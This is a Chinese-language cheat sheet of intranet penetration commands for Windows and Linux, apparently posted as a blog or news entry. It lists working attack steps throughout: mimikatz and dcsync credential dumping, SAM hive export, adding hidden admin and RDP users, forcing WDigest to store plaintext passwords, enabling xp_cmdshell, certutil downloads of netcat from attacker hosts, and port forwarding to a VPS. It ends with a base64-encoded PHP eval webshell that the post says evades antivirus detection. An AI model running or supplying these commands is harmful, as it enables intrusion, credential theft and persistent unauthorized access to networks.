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一些内网渗透总结

news 2025/11/9 2:52:05

windows命令收集

信息收集:

查看系统版本和补丁信息: systeminfo
查看系统开放端口: netstat -ano
查看系统进程: tasklist /svc
列出详细进程: tasklist /V /FO CSV
查看ip地址和dns信息: ipconfig /all
查看当前用户: whoami /user
查看计算机用户列表: net user
查看计算机用户组列表: net localgroup
查看当前登陆用户: query user
查看当前用户保存的凭证: cmdkey /list
查看路由信息: route print
查看arp: arp -a
查看当前用户保存的票据凭证: klist
搜索D盘磁盘名字为logo.jpg的文件: cd /d D:\ && dir /b /s logo.jpg
搜素C盘文件夹下后缀conf内容有password: findstr /s /i /n /d:C:\ "password" *.conf
查看3389端口: for /f "tokens=2" %i in ('tasklist /FI "SERVICES eq TermService" /NH') do netstat -ano | findstr %i | findstr LISTENING
Win设置终端代理: set http_proxy=http://127.0.0.1:7890 & set https_proxy=http://127.0.0.1:7890

添加用户:

添加用户并设置密码: net user mstlab tools /add
将用户加入管理组: net localgroup administrators tools /add
将用户加入桌面组: net localgroup "Remote Desktop Users" tools /add
激活guest用户: net user guest /active:yes
更改guest用户的密码: net user guest 123456
将用户加入管理组: net localgoup administrators guest /add

注册表相关:

查看3389端口 : REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
开启远程桌面 : REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
注册表抓取明文: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
rdp连接默认的10个记录: reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
rdp连接默认的所有记录: reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
查找软件安装目录: reg query HKLM /f foxmail /t REG_SZ /s

工具用法命令:

mimikatz查看当前密码: mimikatz "log" "privilege:debug" "sekurlsa:logonpasswords" "exit"
mimikatz抓取domain密码: mimikatz "lsadump::dcsync /domain:test.com /all /csv" "exit"
reg导出注册表hash: reg save hklm\sam c:\programdata\sam.hive && reg save hklm\system c:\programdata\system.hive
mimikatz读取注册表导出的hash信息: mimikatz "log" "lsadump::sam /sam:sam.hive /system:system.hive" "exit"
impacket包的secretsdump: secretsdump.exe -sam sam.hive -system system.hive LOCAL
nmap扫描永恒之蓝漏洞: nmap -p445 --script smb-vuln-ms17-010 127.0.0.1
meterpreter把目标的3389端口转发到vps的6666端口: portfwd add -l 6666 -p 3389 -r 127.0.0.1
attrib创建隐藏文件: attrib +s +h +r *.exe
.net静默安装: dotNetFx40_Full_x86_x64.exe /q /norestart /ChainingPackage FullX64Bootstrapper
lcx端口转发: 本地监听: lcx.exe -listen 110 34567目标执行: lcx.exe -slave vpsip 110 127.0.0.1 3389
扫描web.txt文件的网站标题: whatweb -i web.txt -p Title whatweb
Win终端设置代理: set http_proxy=socks5://127.0.0.1:1080 && set https_proxy=socks5://127.0.0.1:1080
xfreerdp hash连接rdp: xfreerdp /u:administrator /pth:ccef208c6485269c20db2cad21734fe7 /v:10.20.24.100 /cert-ignore //server 2012
runas运行其它账户权限的程序 : runas /user:hostname\username /sa "cmd.exe"

系统下载文件:

windows2003默认文件: Blob0_0.bin //可以正常执行
certutil下载文件: certutil -urlcache -split -f http://192.168.5.21:888/nc.txt c:\nc.txt
certutil删除记录: certutil -urlcache -split -f http://192.168.1.115/robots.txt delete
bitsadmin下载文件: bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\Pstools.zip

Mssql环境:

mssql开启xp_cmdshell: EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
mssql输出文件: exec master..xp_cmdshell '>>c:\windows\temp\info.txt set /p="base64_encode" <nul'; //代替echo输出
查看c盘下web.config文件: findstr /c:"User Id=" /c:"Password=" /si web.config >> tmps.logs <nul';
常规工作组内网环境下的mssql实例: PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"

Wmic命令:

wmic远程连接机器: wmic /node:"192.168.1.20" /user:"domain\administrator" /password:"123456"
查看系统安装软件: wmic product get name,version
查看系统版本: wmic OS get Caption,CSDVersion,OSArchitecture,Version
根据Pid查找进程路径: wmic process get name,executablepath,processid|findstr pid
查看磁盘信息: Wmic logicaldisk
查看组,hostname,等信息: wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list

Linux命令收集

Linux终端开启socks代理:

linux设置终端代理: export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890
linx终端搜索软件: find / -name pass.txt
linux查找后缀properties文件内容带password字样: find / -name *.properties | xargs grep password //xml,sh,python,等等
linux把tomcat目录文件和文件夹列表导出到oa.txt: find /home/tomcat/ -type f > oa.txt
编码字符base64然后echo输出logo.php在进行解码: echo -n "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4+" | base64 -d > logo.php //可绕过杀软拦截关键字